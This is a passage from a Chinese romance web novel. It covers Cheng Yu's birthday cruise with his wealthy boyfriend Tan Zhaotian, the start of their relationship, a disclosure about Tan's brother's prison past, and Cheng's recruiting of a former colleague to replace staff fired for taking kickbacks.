他们自己也知道，陆泽深和公司容不下他们，他们只能走。 程郁在公司，负责了整件事的进度，也是他，亲自把二组的负责人庞邵献送走的。 出公司，庞邵献可谓臊眉耷眼、格外的颓废。 进电梯前，庞邵献哭丧着脸对程郁道：“我真的没收多少钱。就那点钱，房都买不了几平，陆总何必这样上纲上线？” 又说：“陆总心里没数吗？我们这行，搞投资的，谁没在外面收点‘好处’？” “我是拿了，拿的不多，也没影响工作，一定要这样吗？” 程郁说了句话，马上“安抚”住了庞邵献。 程郁说：“陆总只是眼里容不下沙子，至少不绝情，没有真的做什么，只是辞退你们。” “换做是我……” 程郁淡定地说：“景康的柳大宇还记得吗。他在监狱已经待了有几年了。” 庞邵献瞥瞥程郁，不再说什么。 他能说什么，他既不想被送去经侦，更不做坐牢。 电梯到，梯门一开，他便抱着纸箱一头扎进了电梯里，头也不回地走了。 程郁等到梯门合上，才转身，一脸沉着淡定。 他不是突然想起柳大宇的，他在手机上备注了，备注事项提醒了他，柳大宇快要出狱了。 程郁回办公室，这时收到谈兆天的消息：【晚上我来接你，带你去个地方。】 程郁回复了谈兆天，立刻去忙工作——项目二组全部裁掉了，但公司还需要人。 陆总让他重新招人，程郁得先去和人事部门开会，招聘的人，尤其是二组负责人，他到时候也得亲自把关。 程郁忙完下班的时候，已经七点，稍微有些晚了。 他想起和谈兆天的邀约，赶紧坐电梯下楼。 大楼前跑近，拉开大G的副驾车门上车，程郁匀了口气，边上车边打招呼：“不好意思，我晚了。” “开了几个会，时间都耽误了，走吧。” 谈兆天探身过来，程郁知道他想做什么，边笑着边凑近和男人吻了吻唇。 谈兆天发车，说：“带你去个地方。” 程郁看看表，回：“今天13号，我阳历生日，不会是给我过生日吧？” 谈兆天转了下头：“我以为你忙工作，自己生日都不记得。” “不是。” 程郁解释：“我一般不过阳历生日，都是过阴历生日，我妈给我这么过的，从小习惯了。” “我记得自己阳历生日，往年就算不过这天，我也会给自己买个小蛋糕。” 谈兆天：“今天的小蛋糕我给你买。” 程郁笑，心里分明：“不止小蛋糕吧？” 问：“去哪儿？” 谈兆天：“到了你就知道了。” “这么神秘啊。” 程郁心里也挺期待的。 这是谈兆天给他过的第一个生日，他也想知道男人为他准备了什么。 不久后，程郁和谈兆天来到了黄浦江边，面前是一个小型游轮。 “船上过啊？” 程郁边登船边惊讶，说：“不会是包的船吧？” 上船了，除了船上的工作人员和穿着西服马甲的侍应生，果然只有他们。 程郁谈兆天跟着侍应生和经理往里面船舱走，与此同时，游轮也缓缓启航。 程郁转头，就看见了江边的霓虹灯光与建筑。 他不自觉地笑了笑，心想谈兆天是了解他的，他确实喜欢这里。 等进了船舱，便见宽敞的内部全部是用粉白蓝三色的玫瑰装饰点缀的，特别的漂亮，也很华丽。 程郁一见就笑了，谈兆天牵着他的手，带他往餐桌边走，说：“今天的晚饭我们就在这里吃。” 说着来到餐桌边，亲自给程郁拉了椅子。 “谢谢。” 程郁坐下，笑着：“费心了，弄这些挺麻烦的吧，我很早以前就听说这里的游轮特别难包。” 因为根本不缺客户。 谈兆天隔着不大的圆桌在对面坐下，回：“不难包，你知道的，我有钞能力。” 程郁笑。 侍应生这时过来，手上戴着白手套，手里托着瓶酒，递给程郁看。 程郁看了看，是瓶罗曼尼康帝，看年份，至少是几十万的酒。 程郁点点头，让侍应生去开酒，抬头对桌对面道：“你对红酒有研究？” “没有。” 谈兆天如实道：“我负责出钱，请专人设计，酒也有人推荐。” 程郁玩笑了句：“没有推荐更贵的酒？” 谈兆天：“一开始推荐了一瓶寻常的，我觉得有点便宜，怕没那么好喝，他们帮我找了现在这瓶。” 程郁笑了笑，心里明白谈兆天给他的，从来都是挑好的、最好的，这一点毋庸置疑。 侍应生开始上菜，酒没有醒好，经理过来帮忙倒了两杯香槟，倒完和侍应生一起离开。 程郁和谈兆天一起举杯，轻轻碰了碰，谈兆天认真的：“生日快乐。” “好的，一定快乐。” 程郁含笑应下，又说：“真的谢谢你，我一向不过阳历生日，今天真的很特别。” 说着神情清亮地举了举杯：“Cheers。” 跟着抿酒。 谈兆天含笑注视着程郁，见程郁抿完酒，才抬杯喝了口，喝完道：“香槟的味道真是怪怪的。” 程郁笑着：“如果你喝不惯香槟，是不是红酒的味道和口感也不太喜欢。” “差不多。” 谈兆天聊着：“啤酒更清爽。” 程郁就道：“那下次就和收钱帮你设计的人说喝啤酒好了。我陪你喝啤酒，反正就我们，又不会有其他人知道、说我们太土没品味，有也无所谓，爱谁谁。” 谈兆天笑看对面，觉得这样的程郁也很可爱。 程郁这时边吃东西边转头看向窗外，见动态的视野外是霓虹灯光下的各种高楼和建筑，赏心悦目的同时打心里觉得放松惬意——这个视角下的黄浦江他很喜欢，这也是他想要的生活。 他自己没有站得那么高，没有凭自己的能力过上这样的生活，但有人愿意捧在手里、带着十二万的真心、精心地递到他面前，程郁如今觉得也不错。 程郁的脸上全是对眼前一切的满意欢喜和自然放松。 桌对面，谈兆天一直眸光深邃地看着程郁。 程郁想要什么，任何，他都愿意给。 这顿饭自然吃得又开心又浪漫。 快吃完的时候，程郁端着酒杯靠着椅子喝那瓶罗曼尼康帝，边喝边悠悠然地看着江边的霓虹风景。 谈兆天这时不知从哪里拿出一个绒面的盒子，摆在桌上，打开，转向了程郁，示意程郁看。 程郁看过去，见盒子里是一条镶了翡翠的手链，默默一顿。 谈兆天起身，盒子里拿出那条镶翡翠的手链，来到程郁面前，蹲下，边给程郁戴上边道：“想了很久送你什么，刚好前段时间玉石档口哪里进了几个高货，我觉得合适，就让人设计，做了这条手链。” 程郁垂眸看着，就算自己不懂什么高货，看颜色也能知道这链子上镶嵌的这么大的翡翠肯定不便宜。 但程郁此刻不是因为这条价值不菲的链子和翡翠而觉得心悸心颤，是谈兆天，是面前蹲着的这个男人。 谈兆天真的真的，给了他很多，也特别的舍得，对他非常的大方，姿态又从不傲慢、居高临下。 甚至是，为他戴上生日礼物的链子，也会自然地蹲下来。 程郁眸光轻颤地看着男人，心里明白，这个世界上，不会再有人像这个男人这样待他。 谈兆天，对他，真的太好太好太好了。 谈兆天戴好链子，看了看，正准备起身，程郁突然伸手，捧住了男人的脸，让他抬眸看着自己，说：“谈兆天，你以后也会对我这么好的，是吗？” 谈兆天维持蹲着的姿势，抬着头，看进程郁的眼底，承诺：“是，我会永远对你好。” 程郁：“无论我是什么样子的？” 谈兆天：“对，无论你是什么样。” 程郁：“你会一直喜欢我？” 谈兆天：“我会一直喜欢你。” 程郁：“不会出轨？不会爱上别人？不会在任何时候背叛我？” 谈兆天一字一句：“我不会出轨，不会爱上别人，不会在任何时候背叛你。” 程郁：“就算我现在还没有爱上你，你也愿意和我在一起？” 谈兆天：“当然，而且我不认为你对我一点感觉都没有。” 程郁：“你说的这些都是真的吗？” 谈兆天很郑重：“我可以发誓。” 程郁：“我不需要你发誓，人都要为自己说的话做的事情负责。” “你承诺了，我就愿意相信你。” 程郁跟着问：“你愿意相信我吗？” 谈兆天：“当然，我任何时候都信任你。” “那好。” 程郁语气坚定：“我们在一起吧。” “我也承诺，我会用我的真心对待你，在我们在一起的这期间，绝对不会背叛你。” “我可能还没有爱上你，但我愿意付出我的真心，我愿意试着和你培养感情。” “如果未来，我们还在一起，也十分合适，那我也愿意和你结婚。无论到时候你是什么样的，有没有钱。” 谈兆天骤然欣喜：“你答应我了？” “嗯。” 程郁点头。 谈兆天一下便笑了，抬手展臂地用力拥抱程郁。 程郁也拥抱男人，敞开臂膀，以及自己的心扉。 如果爱情真的是场豪赌，为了谈兆天，他愿意奉上所有、梭/哈一场，无论输赢。 第52章 当周的周六，早上十点多，公寓的窗帘大敞，光线透进，厨房里热了锅，正在煮吃的，程郁穿着短袖长裤的居家服坐在餐桌前，面前是他的笔记本电脑，腿上是很乖地窝着的小黑狗。 程郁正对着电脑看自己公司的人事以及认识的猎头发过来的几份简历。 项目二组不久前全开了，他需要将人补上。 他心里目前没有特别合适的负责人人选，便看看简历，看有没有合适的。 程郁看着电脑，和不远处咖啡机前做咖啡的谈兆天说：“陆总是真容不下那组所有人，不然应该等我找到合适的人，再让他们滚蛋的。” 谈兆天知道这件事，听程郁提过两次。 他把杯子送去咖啡机的接口下，随意道：“收点好处，在所难免，哪儿都不会非黑即白。” “既然收得不多，也没耽误工作，何必辞。” 程郁也这么想过，谈兆天说得其实没错。 收好处，太正常了。 人家做项目等着钱入账的也是人，人就有弱点，项目方的弱点就是缺钱，希望投资方的人能看上他们的项目，给审评过项目的人塞点好处，实属正常。 程郁叹：“事情被捅出来了，陆总当然容不下他们。” “关键还是因为这件事不知道被谁捅去了总公司。” 说着一顿，想到什么，又说：“可别是谁故意想找陆总的麻烦。” 谈兆天端着泡好的咖啡转身：“找他麻烦无所谓，没人找你麻烦吧？” “我一个小兵。” 程郁耸肩。 谈兆天走近，把咖啡摆到电脑旁、程郁手边，又弯腰俯身凑近，和程郁吻了吻唇。 程郁和他吻了两下，谈兆天还要吻他，程郁闷笑：“好了。” 谈兆天又在程郁脸颊上亲了下，直起身，说：“饭马上就好了。” 说着，站在程郁身后，两手自然地按在程郁肩上，看了看程郁面前的电脑屏幕，问：“看得怎么样。” 程郁也看着屏幕：“一般。” “投资圈就这么大，想找个能领团队的，还真要花点功夫。” 叹：“慢慢找吧，急也急不来。” 谈兆天这时捏了捏程郁的肩，说：“下午出去晃晃，还是回床上？” 啊？ 程郁扭头抬眸，不解地看了谈兆天一眼。 床上？ “什么眼神表情？” 谈兆天好笑，解释：“不是你想的那个，我的意思是要不要待家里。” 床上是家里的意思吗？ 程郁伸手，拍谈兆天搭在自己肩膀上的手：“别影响我，让我看完。” 谈兆天弯腰，又亲了亲程郁的脸。 程郁看着电脑，含笑，手又抬起，抓了抓男人刺拉拉的发顶。 吃完饭，程郁坐在沙发盘老虎，谈兆天看见，手机举起来对着，把这一幕拍了下来。 拍完，他又站在原地低头摆弄着手机，把自己不久前才换过的微信头像，换成了刚刚拍下的程郁低头抱着老虎的照片。 下午，两人当真没出门，窝在沙发，靠坐一起看电影。 谈兆天套了他那条程郁特别嫌弃的材质不明的长裤，光着膀子靠坐沙发靠背。 程郁也在，稍微躺下去一点，挨在谈兆天身边，谈兆天的长臂搂着他。 两人一起看电影，程郁边看边手里拿着手机，时不时翻翻群聊、回回朋友的消息，还在逛淘宝，准备重新给谈兆天买身居家服，男人身上那条长裤他真的是太嫌弃了。 程郁买完两身居家服，开始在微信上和张君宁聊谈兆天。 张君宁知道谈兆天包了黄浦江的游轮给程郁过阳历生日，还送他翡翠手链，说：【绝了，这个男人。】 【你说他特别会吧，他其实也不懂怎么搞浪漫，就是特会砸钱。】 【你说他不懂吧，他比这个世界上99%以上的男人都知道怎么讨人欢心。】 又说：【这么说，你们算是正式开始谈了？】 程郁：【yes。】 张君宁：【睡了吗？小猫猥琐挑眉.jpg】 【怎么样，大不大。】 程郁：【没睡，超大。】 张君宁兴奋了：【卧槽，这么棒的吗？】 【真的假的，你不会逗我的吧？】 【不是，没睡你怎么知道大小啊？】 程郁就拍了他和谈兆天躺在一起的挨着的腿，发过去：【用眼睛看的，目测。】 张君宁：【你拉倒吧你，还目测。】 又说：【不过我提醒你啊，哪天睡了，必须用套，安全起见，这个千万别省，以防万一，你知道的，咱这个群体的烂丁丁和烂菊花多得要命，有病的人一大堆，你可别回头感染上。】 程郁：【我知道，放心。】 张君宁：【天啊，你这个前单身主义都恋爱了，我还是光棍儿一条。】 【捂脸大哭.jpg】 程郁：【你少来，你但凡想谈，追你的男人能排到巴黎。】 张君宁：【我谢谢你这么看得起我。】 谈兆天这时见程郁一直在聊微信、都没有看电影，凑过来，也看了看程郁的手机：“在和谁聊？” 程郁继续和张君宁聊着，嘴上回：“张君宁，就是上次喝醉你扛过那个。” 谈兆天的手伸过来，指尖滑动屏幕，略微翻了翻程郁和张君宁聊了什么，看见程郁说他超大，默默闷笑，又凑过去亲了亲程郁的脸，继续看电影，由着程郁和张君宁在微信上嘀咕他。 张君宁这时说：【那你这会儿在干嘛？和你男人。】 程郁：【公寓，看电影。】 张君宁：【片儿啊？】 程郁：【小猫踢飞.jpg】 【想什么呢，看正经电影。】 张君宁：【没出去约会啊？】 【手牵手逛逛街什么的，不比待在公寓看什么电影有意思多了。】 程郁想了想，觉得张君宁说的有道理，先回：【有道理，那不聊了，我出门了。】 说着坐起身，伸手去谈兆天胳膊上，捏了下肱二头肌，说：“走吧，我们出门转转。” 又凑过去，么地亲了亲男人的嘴唇。 于是不久后，程郁和谈兆天现身公寓附近不远的商场，手牵手逛起来。 而两人牵着的手上，谈兆天的左手戴了程郁之前送他的那块表，程郁的右手上则戴着谈兆天不久前送他的那条镶翡翠的链子。 两只手牵着，时不时晃一晃，就算没牵着，谈兆天也会伸手搂程郁的腰或肩背。 两人在人群中，全然是情侣该有的样子。 无非是程郁太帅了，谈兆天又看着唬人，两人又高，经常引得路人向他们侧目，还有人悄悄举手机拍他们。 谈兆天也在一直拿手机拍程郁，程郁喜欢逛盲盒或者各种小商品的店，喜欢那些五颜六色的可爱卡通人物或小动物，总会拿起样品，示意给谈兆天看，谈兆天会边看边拿手机拍程郁。 两人还逛了很多男装店，程郁自己买了衣服，也给谈兆天买了，以他的审美给谈兆天挑的衣服。 两人拎着纸袋进店里买买买，又拎着更多纸袋从店里出来，买得十分开心。 主要是程郁开心，他喜欢买衣服。 谈兆天拎了一手的纸袋，另一手牵着程郁，进店付钱的架势像个带着小蜜的大款。 程郁看得好笑，又挑了衣服让谈兆天去试。 他决定了，他要把自己买衣服方面的优越审美也用在谈兆天身上。 可不能只他自己穿得好看。 谈兆天便去试衣服，穿出来给程郁看。 程郁抱着胳膊审视地看看他，又说：“转一圈看看。” 谈兆天便不快不慢地原地转一圈，转回来，看着程郁，眼神：可以？ 程郁打响指：“就这件。” 买！ 程郁还带谈兆天去了护肤品的品牌店，给谈兆天买了一套全新的适合他肤质的护肤品，甚至还有香水。 谈兆天：“我不喷香水。” “我知道。” 程郁冲他眨眨眼：“喷给我闻，我喜欢。” 谈兆天笑得宠溺。 谈兆天从来觉得逛街没意思，自己也不怎么逛街，如今程郁拉着他逛街，到处看、买买买，他就不再觉得逛街没意思了。 期间，谈兆天还收到了他嫂子江悦明的消息，问他：【截图】【小天，你微信头像里这个人是谁啊？】 【是你之前跟我提过的那个男生吗？】 【你们在一起了啊？】 谈兆天回复是的。 江悦明：【捂嘴笑.jpg】 【你追到了啊，太好了。】 【改天一起吃饭啊，让我和你哥也见见他。】 谈兆天低头捧着手机回：【好。】 程郁这时凑过来，好奇：【你在和谁聊啊？】 谈兆天给程郁看了，说：“我嫂子，他在问你。” 程郁看了看谈兆天给他嫂子的备注名，说：“江悦明，是男的啊，我一直以为你嫂子是女生。” 谈兆天回复了江悦明，问程郁：“要不要打个招呼。” “可以啊。” 程郁大大方方的。 于是很快，谈兆天录了程郁对着镜头大方挥手打招呼喊嫂子的几秒视频发给了江悦明。 江悦明很快回了语音过来，先和程郁打招呼：“你也好呀弟弟，你好帅啊。” 接着是和谈兆天说的，说：“我的天啊，他好帅啊，这么帅的吗。难怪你追了几个月都不肯放弃。太帅了吧！” “你小子这都能追到，你运气也太好了吧。” 又紧接着发过来一条两秒的语音，点开，程郁和谈兆天听到一个声音低沉浑厚的男音，说：“臭小子。” “我大哥。” 谈兆天解释。 程郁品了品，说：“你大哥不会也跟你一个风格吧？” 谈兆天回：“我哥左手臂纹的龙，右胳膊纹的虎，比我唬人多了，出门遇到警察，必查他。” 程郁脑海中下意识的已经有形象了，是纹了满胳膊纹身的年长十岁的谈兆天的样子。 他笑倒在谈兆天怀里：“真是hei社会啊？” 谈兆天搂了程郁，这时不知想到什么，敛了些神情。 片刻后，等程郁笑得差不多了，谈兆天搂着年轻男生的肩膀，说：“有件事，关于我哥的，我觉得还是有必要和你先支会一声。” “嗯？” 程郁看向谈兆天。 谈兆天冷静的：“我哥因为一些原因，坐过几年牢。” 边说边看着程郁，问：“你会不会比较介意这点。” 程郁一顿，脸上的笑意也收了些，问：“犯了什么事啊？” 谈兆天没细说，解释：“年轻的时候有点狂，有天在外面吃饭，和人产生了口角，推搡之间对方倒在地上，磕到了后脑，救过来了，但变成了植物人，我哥因为这个，被判了几年。” 程郁听了自然诧异，他问：“已经出来了是吧？” 谈兆天：“出来挺久了。” 程郁神色如常：“你怕我在意这个，后悔不跟你谈吗。这也没什么吧。” 说着抬手，逗狗狗一样摸摸男人的下巴，神情自然放松地说：“放心吧，我不会因为这个踹了你的。” “你又不是考公务员，我这儿又不政审，谁家里还没有点情况了。” 谈兆天放心了，低头亲了亲程郁的鼻尖。 程郁嗔：“别肉麻，外面呢。” 后来晚上上楼吃饭，程郁想到谈兆天大哥的情况，边吃边聊道：“你哥之前判了几年啊？” 谈兆天：“六年多。后来减刑，五年不到出来的。” 程郁点头，道：“这种算过失伤人吧？赔钱了吗，对方家里签谅解书了吗？” 谈兆天：“赔了，也签了，所以是判的六年多，不然至少得八年。” 程郁有点好奇：“我记得你之前和我说过，你哥和你嫂子是中学同学，很早就在一起了。” “所以你哥进去的时候，他已经和你嫂子结婚了？” “不是，没有。” 谈兆天：“我嫂子家里条件特别好，他父母一直反对我嫂子和我大哥在一起，我嫂子顾及家里，所以一直没和我哥领证，到现在也没有。” 程郁领悟了，惊讶：“所以你哥进去之后，你嫂子一直在等他啊。” 点点头，认可道：“你嫂子很长情啊。” 想了想，又说：“你都这么有钱了，你嫂子家里条件特别好，得好成什么样啊？” 程郁想起贺晓远和陆琛，说：“像贺总陆总那样的吗？” “不是。” 谈兆天解释：“我和我哥起初有钱，是因为早年拆迁，拿了很多钱。” “我嫂子父母都是领导，在本地都能排得上号。” 程郁听了自然惊讶，又想了想，说：“所以你哥出事的时候，你嫂子家里没有帮忙？” “帮不了，也不可能帮。” 谈兆天：“当年那件事闹得不小，有监控视频流到网上，舆论沸沸扬扬，说我哥hei社会杀人。” “而且确实推了对方才导致摔成植物人，这点赖不了，该怎么判怎么判。” 程郁点点头，又问：“你那时候多大？” 谈兆天：“十八。” 程郁一顿：“你哥进去了，谁管的你？你爸妈那时候还在？” “不是。” 谈兆天：“我嫂子管我。我反正学习也不好，后来就不读书了，出来管我哥的那些生意。” 程郁又点点头，感慨：“长嫂如母啊。” “你嫂子也不容易。” “他能等你哥出狱，这么多年还在一起，肯定很爱你哥。” 谈兆天在手机上点了几下，举起屏幕递给程郁，说：“我嫂子。” 程郁看了看，看到一个样貌英俊的看不出年龄的男人，感叹：“很帅啊。” 笑笑：“他还说我帅，他自己就是大帅哥。” 翌日星期天，程郁和谈兆天窝在沙发上亲吻，亲得特别的甜蜜。 这点其实有点出乎谈兆天的预料。 他本来以为程郁从前奉行单身主义，就算在一起了，也会需要一个过渡的过程。 没有。 程郁真的如他自己说的那样，在全身心地投入。 亲了蛮久的，亲完，谈兆天去给程郁弄了杯咖啡，回来，程郁正靠坐沙发里，低头看着手机。 “在看什么？” 谈兆天把咖啡摆去了程郁旁边的矮几，跟着坐下，凑近，看了看。 程郁给他看了，解释：“我在看我自己的微信联系人，看看有没有认识的人，合适二组负责人的职位，可以让我挖过来交差。” 谈兆天便不管了，随便程郁干什么，他自顾搂了程郁，亲他。 程郁马上就笑了，也转头，去亲谈兆天。 周一，上班出门前，在玄关，程郁和谈兆天吻了又吻。 谈兆天不放人，程郁就笑：“好了，真的好了，我要迟到了。” 程郁走之前问谈兆天：“今天中午一起吃吗。” 谈兆天：“有空，给你送饭。” “我真得走了。” 程郁出门前，又折回来，凑近和谈兆天吻了一下。 “拜拜。” 程郁转身。 “拜拜。” 谈兆天伸手在程郁腰侧轻拍了下。 程郁到公司，很快收到了跑腿小哥送来的花。 他知道是谈兆天，收了，还在接过花的时候低头捧在怀里笑着看了看。 有同事看见，奇怪道：“谁送的啊，你这么喜欢。” “男朋友。” 程郁把花摆去工位一角，边坐下边大大方方地承认了。 “啊，男朋友？” 同事们都很惊讶，七嘴八舌： “你不是单身主义吗？” “什么时候谈的啊？” “真的吗，不会是你跟我们开玩笑的吧？” “真的。” 程郁不爱在公司聊自己的私事，但大致的感情状态，他还是愿意和熟悉的同事们分享的。 “上周刚谈。” 别的没有多说。 “天啊，程总也脱单了，好羡慕。” “男生女生啊？” “做什么的，同行吗？” “怎么追到你的呀。” 程郁含笑：“好了，别问了，其他都是隐私。上班吧。” 午饭前，程郁不忙了，给自己微信联系人里一位叫陶易恒的男人发了消息，说：【溢恒，陶总，最近怎么样，工作生活还顺利吗。】 【有段时间没有联系了。】 【有空吗，要不要找个时间约个饭？】 陶易恒，程郁的老东家景康投资的资深项目人。 程郁翻遍了朋友圈，没有比陶易恒更适合的人选了。 他决定主动出击。 中午，程郁下楼到地库，大G已经等在停车位了。 程郁笑着迎过去，又笑着拉开副驾车门。 车门一开，他就看见了坐在副驾的老虎。 程郁笑，边上车边抱起老虎，对主驾的谈兆天道：“怎么把它也带过来了。” 老虎的尾巴摇成了打蛋机。 谈兆天：“它大了，不像以前睡觉那么多了，我打算以后出来就带着它，到处跑跑，练练胆子。” “别名字这么威风，性格一点儿都不老虎。” 程郁摸摸小黑狗：“爸爸要训练你了。” 谈兆天一听这句“爸爸”，心里爽得不行。 他倾身过去：“亲一下。” 程郁也凑近，和他亲了亲。 谈兆天捞了程郁的后脑，将亲吻加深，程郁闷笑。 “我找到一个人选。” 程郁边吃饭边和谈兆天聊道：“是我第一家公司的一个前同事，也是专门挖项目的，资历不错，水平也可以。” “我和他约了时间，周三晚上一起吃个饭。” “到时候周三晚我就不和你一起吃了，应该也会晚点回家。” “能挖到吗？” 谈兆天拿着双筷子，给程郁夹菜：“听你的意思，他在你之前的公司待了很多年。” 程郁神情随意放松：“试试么，不试试，怎么知道能不能挖到。” 吃完，程郁和谈兆天凑近在扶手箱旁接吻，稳得专心又甜蜜。 第53章 周三晚，程郁在一家中餐厅见了陶易恒。 陶易恒比程郁年长几岁，在景康一待多年，已婚，孩子三岁。 程郁和陶易恒的关系算不上非常好，主要程郁很懂交际、人缘也好，之前陶易恒给女儿办满月酒的时候，程郁去过满月宴，不但给孩子包了红包，还给陶易恒的老婆送了套价格不便宜的护肤品，因此就算两人有不短的一段时间没联系，程郁找过来，陶易恒也是愿意给个面子见一见吃个饭的。 这顿饭之初，程郁和陶易恒边吃边聊，聊得十分随意，有工作上行业里的一些事，也有一些个人的私事，比如陶易恒的老婆辞职了，回家做全职太太，没办法，两边老人都带不了孩子。 聊到这儿，程郁便顺着这个话题道：“经济压力大吗？” “还好吧。” 陶易恒吃着菜：“你也知道我的，在公司混得还成。” “压力多少有一些，不过问题不大。” 程郁这时道：“你在景康多久了？” 陶易恒：“七八年至少了，我毕业就在那儿了。” 程郁试探地说了句：“那应该和陈总很熟了。” 陈平是景康的副总，专管项目开发。 这人还很不好相处，管员工管得很紧。 陶易恒“嗯”了声，没说什么。 程郁觑着陶易恒的脸色，这时候说了句：“你有考虑过跳槽吗？” 陶易恒闻言明显一顿，不解地看向程郁。 程郁自然地笑笑，说：“不瞒你说，我们经纬最近缺人。” “这个我知道。” 陶易恒收敛神情：“圈子里传的，说你们公司最近裁掉了某个组的所有人。” “从上到下，一溜人。” 程郁淡定的：“知道为什么吗？” 陶易恒：“公司资金紧了？” “这两年投资圈确实不好混。” “缺好项目，也缺钱。” “不是。” 程郁放下筷子，手肘搭着桌沿，低声：“我可以告诉你，我们毕竟是熟人，但你不要往外讲。” 陶易恒抬抬眼，洗耳恭听的样子。 程郁：“因为二组全体收好处，被人捅去了新加坡的总公司。” 陶易恒听得眉头一挑。 程郁：“所以你现在知道了，我们真的缺人。” 程郁开始奔向这顿饭的主题：“我这次找你，也是想问问你，你有没有离开景康的想法。” “我暂时不考虑跳槽。” 陶易恒直接就拒绝了。 程郁更直接，一阵见血：“陈平不好相处，是个喜欢吹毛求疵的人，你在他下面，想必平时没少受气。” “但我们陆总不同。” “陆总喜欢抓大放小，我们公司连考勤都没有。” “项目组的人更是想什么时候来公司就什么时候来公司。” 陶易恒欲要开口，程郁沉稳的：“先听我说完。” 程郁抬手比了个数：“你如果过来，年薪可以到这个数。” “我相信你出去问一圈，都不会有几家公司比经纬给的待遇好。” “你过来直接就是二组的负责人，你的顶头上司不是副总不是我，是陆总。” “你在项目上的权力，我保证也绝对比你在景康的时候多。” 程郁说着，认真地看着陶易恒：“我甚至可以向你保证，我们陆总绝对比陈平好相处。” “而且我可以承诺你，如果你愿意跳槽，想从前公司带人过来，我们经纬也绝对欢迎。” “你知道的，你刚刚也听到了，二组整个都被裁掉了，现在经纬正缺人。” “你过来，想带几个人带几个人，甚至带项目都可以。” “如果你带项目，我还可以向陆总帮你申请到额外的奖金，你能得到的数，绝对比在景康得到的多得多。” “因为我们陆总真的非常大方，也惜才。” 陶易恒这下再不说拒绝的话了。 他听着，默默回视程郁，心里也在暗自思考着。 …… 两人当晚没就要不要跳槽答成共识，陶易恒给了个模棱两可的回复，说他回去想想，和老婆商量一下。 程郁不催促不勉强，点头：“你跳槽不是小事，和嫂子商量下也是应该的，毕竟这关乎你们家庭未来的事业方向和收入情况。” 程郁也在结束的时候接到了谈兆天的消息。 程郁边起身准备和陶易恒一起离开，边捧着手机低头回复。 陶易恒也起身，一起往外走，看见程郁捧着手机在回复消息，玩笑：“家里管这么严？九点都没到。” 程郁笑：“没有，当然不比你，我刚谈才几天。” 陶易恒惊讶：“刚谈啊？” 好奇：“男生女生？” 程郁：“男生。” 陶易恒：“比你大吗？圈子里的？” 程郁和他一起往餐厅外走，回：“是比我大。没有，不是圈子里的，圈外的，他自己做点生意。” 陶易恒这时突然想起什么，说：“我记得以前你在公司的时候，有人要给你介绍，你说你单身主义啊。 “我记得你微信的个性签名也说你是单身主义。” “你来我女儿满月宴的时候，我老婆家有亲戚一眼相中了你，想给你介绍，我还帮你拒绝，说你是单身主义来着。” 程郁笑，略微解释了下：“本来呢，确实是单身主义，这个没骗人。” “但我男朋友这个人吧……” 陶易恒睁大眼：“特别帅吗？” 程郁笑：“是，特别帅。” 陶易恒了然地说：“正常，我们男的就这样，好色，都好色。我当年追我老婆也是。” 程郁忍俊不禁。 他开车回公寓的路上，都在为此默默好笑。 等回到公寓，出电梯，见到门口走廊等着的谈兆天，程郁走过去，抬胳膊，双手搂住男人的脖子，一动不动地审视地看着眼前的面孔，琢磨着，说：“原来我是相中你的脸呀~” 谈兆天不明所以，挑眉。 “晚上吃什么了，也没喝酒，怎么说起胡话了。” 程郁故作不解：“不是因为你的脸吗？” 谈兆天默默好笑，搂了程郁的腰，把人贴向自己，淡定地回：“不是，可能是因为我比较大。” 程郁一下笑喷，拿手锤了下男人的胸口：“胡说八道。” 谈兆天凑近偏头，程郁抬下巴，两人亲了亲，又亲了亲。 不亲了，谈兆天搂了程郁的肩膀往屋内走，边走边关心道：“晚上聊得怎么样？” “我觉得还不错。” 程郁分享道：“我这个前同事，顶头上司很难相处，脾气也差，我从这里做切入点，给他好好夸了夸我们陆总，也承诺给更好的待遇，他还能带人带项目一起跳，我觉得他应该多少有些心动。” 又道：“他老婆的微信我也有，回头我再找他老婆，看能不能说动，让他老婆帮忙劝劝。” “他老婆现在辞职了，全职在家带孩子，想必也希望我这个前同事能赚得更多。” 两人进了谈兆天这边的公寓，合上门，谈兆天说：“他们有孩子吗，孩子多大，改天我去店里拿点奶粉零食玩具。” 程郁忍俊不禁：“你怎么什么都做啊。” “没有什么都做。” 两人站在玄关，谈兆天凑过去，吻了下程郁的脸：“只有你一个，只做你。” “流氓！” 程郁抬手，嗔怪地拿巴掌在男人胳膊上用力拍了下。 隔了两天，程郁就带着谈兆天带回公寓的大小玩具、奶粉零食，去见了陶易恒的老婆。 程郁也找了陆泽深，把陶易恒的基本情况和他大致说了下，陆泽深也同意程郁把人挖过来。 这些天，程郁也陆续在微信上和陶易恒就跳槽的事有的没的地聊了聊。 程郁能明显感觉到，陶易恒已经很动摇了。 尤其是陶易恒向程郁吐槽了自己的顶头上司陈平，说：【就没见过这么龟毛的人，烦都烦死他了。】 【项目他搞不到，他就来搞我和我手里的项目，真想把他套个麻袋揍一顿。】 程郁在工位，对着电脑屏幕，看见陶易恒这么说，默默笑了笑。 他估摸着，有他承诺的好待遇好领导和老婆在家里从旁劝，陶易恒现在肯定已经很想离开景康了，时间问题。 其实如果不急，程郁完全可以再等等，等陶易恒自己开口和他说跳槽的事。 但经纬如今缺人，陆泽深也在催，程郁便又想了一招—— 周五中午，他把陆泽深和陶易恒都约到了餐厅，是之前谈兆天介绍jadon给他认识的那家会员制的高档餐厅。 让陆泽深和陶易恒直接当面聊。 果然，聊得很顺利，陶易恒也显然更倾向于在陆泽深这样的领导手下做事。 陶易恒去卫生间的时候，陆泽深看着程郁，挑挑眉，说：“我一向知道你能力不错，第一次知道你挖人的水平也这么高。” 程郁端着装柠檬水的杯子冲陆泽深举了举，笑笑：“谬赞。还是因为陆总领导得好。” 陆泽深这时则留意到程郁手腕上的链子，那镶的大小和色泽，寻常人看了，都要怀疑程郁是不是去小商品市场淘了个啤酒瓶底，也太大太绿了。 陆泽深看见，多看了眼，抬眼问程郁：“看来嫁了？那个七千万？” 程郁也垂眸看了看自己手腕，又笑了笑，抬头，淡定坦然道：“离嫁还有点距离，不过也差不多了。” 陆泽深点点头，淡定的：“恭喜。” 又说：“别忘了，记得走之前帮我找到替你的人。” 程郁揶揄：“这不会是在变相赶我走吧？” 诚恳的：“放心，一定会替您安排好的。” 后来陆泽深有事先走了，剩下程郁和陶易恒，陶易恒这才转头抬眼地打量起餐厅，对程郁说：“不瞒你说，这里我早听说过，但这还是我第一次来。” 又问程郁：“你常来吗？这里的会员？” 程郁没多言，就道：“跟着陆总，你迟早也是这里的常客。” 紧跟着问：“怎么样？来经纬吗。” 